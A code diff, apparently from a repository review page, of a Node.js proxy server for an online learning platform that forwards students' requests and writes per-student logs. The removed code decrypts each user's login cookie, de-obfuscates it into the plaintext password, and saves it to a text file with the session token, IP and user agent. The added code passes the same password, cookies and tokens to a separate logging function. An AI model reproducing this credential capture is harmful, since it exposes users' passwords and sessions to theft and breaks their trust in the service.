let timestamp = new Date().getTime()
let json = Buffer.from(req.headers['cur-json'] || '', 'base64').toString() || '{}'
json = JSON.parse(json)
const signStr = json.auth + ':' + req.params[0] + ':' + timestamp
const uuid = md5(signStr)
/* 目录在服务器,启动时,直接创建号 */
let _totalDir = '001' // 默认表示,存储从第一学期开始
com.Directory.mkDir('upload_tmp/' + _totalDir)
/* 所有的请求进行 分日期、学员号目录存储 */
/* 增加 日期目录 */
let dateDir = com.DateTime.timestampToFormatDateStr(new Date().getTime())
/* 增加 学员目录 */
let stuDir = (json.name + '#' + json.auth) || '其他'
/* 学员目录 */
let stuPath = 'upload_tmp/' + dateDir + '/' + stuDir
com.Directory.mkDir(stuPath)
return (req, res) => {
/* 获取 日志必须 返回 + 视频行为日志信息 */
const _logJson = logVideo.getLogVideoJson(req, {
_totalDir
})
let headers = _.assignIn({}, req.headers)
let options = {}
......@@ -93,52 +88,6 @@ const agentProcessor = () => {
axios.defaults.headers = headers
axios.defaults.withCredentials = true
/* 日志记录,重新修改 2019.01.17 */
let _log = {
reqTime: timestamp, // 请求时长
sys: json.sys, // 系统
status: '', // 请求状态
name: json.name, // 姓名
auth: json.auth, // 账号
IP: getClientIP(req), // IP值
uuid: uuid, // uuid
url: options.url, // 请求地址
type: '', // 1:视频 2:课后作业 3:作业内容
self: '', // 根据类型值,自定义 字符串参数
param: JSON.stringify(options) // 请求参数 JSON str
}
/* 基础info数据,写入文件 */
/* 不存在文件则写入;存在则不写入 */
fs.stat(stuPath + '/info.txt', (err, stat) => {
if (err) {
if (!pwdBase64) { // 从cookie中获取
let _AUTH = ''
for (let i = 0; i < _cookieArr.length; i++) {
if (/_AUTH=/gi.test(_cookieArr[i])) {
_AUTH = _cookieArr[i].split('=')[1]
break
}
}
pwdBase64 = com.CryptoJs.decryptData(_AUTH)
}
/* 有密码时,才写入基础数据中 */
if (pwdBase64 || _SUP) {
fs.writeFile(stuPath + '/info.txt', [
'Name: ' + json.name,
'Sys: ' + json.sys,
'Auth: ' + json.auth,
'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
'Token: ' + _SUP, // 解决验证码登录,没有密码问题 或 没有重复登录过,没有密码问题
'IP: ' + getClientIP(req),
'UA: ' + req.headers['user-agent'],
'\n\n'
].join('\n'), function (err) {
if (err) { return console.error(err) }
})
}
}
})
/* 处理特殊请求,在域名为e-learing2时生效 */
let _stoken = ''
......@@ -153,9 +102,13 @@ const agentProcessor = () => {
}
/* 重新转发请求 */
let _reqTime = 0
let _status = 0
axios(options).then((data) => {
_log.reqTime = (new Date().getTime() - _log.reqTime) + 'ms'
_log.status = 200
/* 记录 请求处理时长 + 请求状态 */
_reqTime = (new Date().getTime() - _logJson._nodeServerCurrentTime) + 'ms'
_status = 200
// /* 兼容老版本,登录接口 清除_SUP; 退出登录 清除_SUP */
/* 重新修改,改为只能服务端 设置 cookie */
if (/tenant\/user\/login/gi.test(options.url) || /tenant\/user\/code-login/gi.test(options.url)) {
......@@ -184,9 +137,25 @@ const agentProcessor = () => {
}
// setPorxyHeader(data, res)
res.status(200).send(data.data)
/* getInfo 时,则写入 用户基本信息 */
if (/tenant\/user\/getinfo/gi.test(options.url)) {
let _name = (data.data.student_info && data.data.student_info.personal_name) || (data.data.nickname)
let _email = (data.data.student_info && data.data.student_info.email) || (data.data.email)
logVideo.writeBasicInfo(req, _logJson, {
pwdBase64,
_cookieArr,
_SUP,
_token: headers['token'],
_totalDir, // 用于重新 定位学生目录
_name, // 用于重新 定位学生目录
_email // 用于重新 定位学生目录
})
}
}).catch((e) => {
_log.reqTime = (new Date().getTime() - _log.reqTime) + 'ms'
_log.status = e.response.status || 500
/* 记录 请求处理时长 + 请求状态 */
_reqTime = (new Date().getTime() - _logJson._nodeServerCurrentTime) + 'ms'
_status = (e.response && e.response.status) || 500
/* 未登录,则全部清空 _SUP */
if (e.response.status === 403) {
res.clearCookie('_SUP', { path: '/', domain: '.ezijing.com' })
......@@ -197,10 +166,10 @@ const agentProcessor = () => {
/* 如果未登录 强制 弹出到 登录页 */
// setPorxyHeader(e.response, res)
res.status(e.response.status).json(e.response.data)
console.error(uuid + String.fromCharCode(0x001) + JSON.stringify(options) + String.fromCharCode(0x001) + JSON.stringify(e.response.data))
console.error(_logJson._uuid + String.fromCharCode(0x001) + JSON.stringify(options) + String.fromCharCode(0x001) + JSON.stringify(e.response.data))
} else {
res.status(500).json({ message: '系统错误,请稍后重试或联系管理员', errMsg: 'Error Proxy Request or BackData Excute Error', code: 500 })
console.error(uuid, e)
console.error(_logJson._uuid, e)
}
}).finally(() => {
/* 请求结束,删除服务器端 缓存文件 */
......@@ -209,26 +178,19 @@ const agentProcessor = () => {
fs.unlinkSync(_fileName[i])
}
}
let _str = ''
for (let key in _log) {
_str += _log[key] + String.fromCharCode(0x001)
}
console.log(_str + ' -- end')
/* 视频行为日志 写入 */
logVideo.writeLogVideo(_logJson, {
_reqTime,
_status
})
})
} catch (e) {
res.status(500).json({ message: '系统错误,请稍后重试或联系管理员', errMsg: 'Network Server Excute Error', code: 500 })
console.error('system error:', uuid, e)
console.error(_logJson._uuid, e)
}
}
}
const getClientIP = (req) => {
return req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress
}
// const setPorxyHeader = (data, res) => {
// if (data.headers['set-cookie']) {
// /* 不准许 服务端设置 _SUP */
......
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论